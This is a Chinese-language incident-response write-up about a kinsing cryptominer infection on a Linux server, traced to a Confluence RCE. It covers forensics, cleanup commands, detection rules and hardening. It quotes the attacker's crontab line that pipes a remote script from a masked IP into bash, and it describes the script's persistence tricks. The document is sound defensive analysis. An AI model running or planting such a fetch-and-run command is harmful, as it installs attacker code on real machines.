1. 事件背景与发现过程
那天凌晨2点15分,运维值班手机突然响起刺耳的告警声。我抓起手机一看,CPU使用率曲线已经飙到了98%,持续了整整23分钟。登录跳板机查看,发现某台边缘业务服务器的load average值高达47.8——这明显不正常。
通过堡垒机连入问题服务器后,几个异常现象立即引起了我的警觉:
- 系统日志出现大量
/tmp/.X11-unix/目录下的异常进程记录 - crontab里多了个每半小时执行的
curl -s http://185.xxx.xxx.xxx/init.sh | bash任务 - 出现大量非常规的
kinsing和kdevtmpfsi进程
关键提示:挖矿病毒最常见的入口点是Redis未授权访问和Web应用漏洞,但这次的情况有些特殊。
2. 病毒行为分析与取证
2.1 进程树逆向分析
使用pstree -p命令绘制出的进程树显示:
systemd(1)─┬─kinsing(4578)───{kinsing}(4579) ├─kdevtmpfsi(4581)───{kdevtmpfsi}(4582) └─crond(1324)───sh(4590)───curl(4591)病毒通过cron定时任务维持持久化,下载的init.sh脚本主要功能包括:
- 关闭SELinux和iptables
- 删除
/tmp/.X11-unix/下的隐藏目录 - 下载x86和ARM双架构的矿工程序
- 修改
/etc/ld.so.preload实现库文件劫持
2.2 网络行为取证
通过ss -tulnp发现异常外联:
ESTAB 0 0 192.168.1.100:42356 185.xxx.xxx.xxx:443该IP经威胁情报平台查询,属于已知的矿池中继节点。病毒采用TLS加密通信,但通过JA3指纹比对确认是XMRig的默认指纹。
3. 应急处置全流程
3.1 立即遏制措施
- 网络隔离:
iptables -A INPUT -s 185.xxx.xxx.xxx -j DROP iptables -A OUTPUT -d 185.xxx.xxx.xxx -j DROP systemctl stop networking- 进程清理:
for pid in $(pgrep -f 'kinsing|kdevtmpfsi'); do kill -9 $pid [ -f /proc/$pid/exe ] && rm -f $(readlink /proc/$pid/exe) done- 持久化项清除:
crontab -l | grep -v 'init.sh' | crontab - rm -f /etc/ld.so.preload find /tmp /var/tmp -name ".X11-unix" -exec rm -rf {} +3.2 深度清理检查点
- 用户账户审计:
awk -F: '($3 >= 1000) {print $1}' /etc/passwd | while read user; do echo "Checking $user:" find /home/$user -name "authorized_keys" -exec ls -la {} \; done- SSH后门检测:
grep -r "PermitRootLogin yes" /etc/ssh/ stat /usr/bin/ssh | grep "Change: 2023"- 内核模块检查:
lsmod | grep -E 'kinsing|kdev' find /lib/modules -type f -name "*.ko" | xargs strings | grep -i 'backdoor'4. 溯源分析与加固方案
4.1 入侵路径还原
通过分析/var/log/secure日志,发现攻击者利用的是Confluence未授权RCE漏洞(CVE-2022-26134)。时间线还原:
Jun 12 01:23:45 攻击者发送恶意OGNL表达式 Jun 12 01:24:12 下载初始载荷/tmp/.ICE-unix/x Jun 12 01:25:03 横向移动到内网Redis服务器4.2 系统加固措施
- 关键配置修改:
echo "vm.nr_hugepages = 0" >> /etc/sysctl.conf # 禁用大页内存 chattr +i /etc/passwd /etc/shadow # 关键文件锁定- 监控增强方案:
# filebeat.yml 新增检测规则 - name: "Cryptocurrency Mining" condition: > process.name in ("xmrig", "kdevtmpfsi", "kinsing") or network.destination.ip in threat_intel.mining_pools- 应急响应工具包准备:
#!/bin/bash # 应急响应快速检测脚本 TOOLS=(rkhunter chkrootkit lynis) for tool in ${TOOLS[@]}; do [ ! -f /usr/bin/$tool ] && apt install -y $tool done5. 经验总结与防护体系
这次事件暴露出三个关键问题:
- 边缘系统补丁更新延迟超过90天
- 网络分区策略未严格执行
- 缺乏有效的进程行为基线监控
建议的防护体系升级方案:
- 网络层:在核心交换机部署Cisco Talos或Suricata的矿池IP黑名单
- 主机层:部署Falco实时监控异常进程行为
- 应用层:对所有Web应用实施WAF规则更新策略
最后分享一个实用命令,可以快速检测可疑的CPU使用模式:
ps -eo pid,user,pcpu,pmem,cmd --sort=-pcpu | head -n 10 | awk '$3>30 && $5!~/java|mysql|nginx/{print $0}'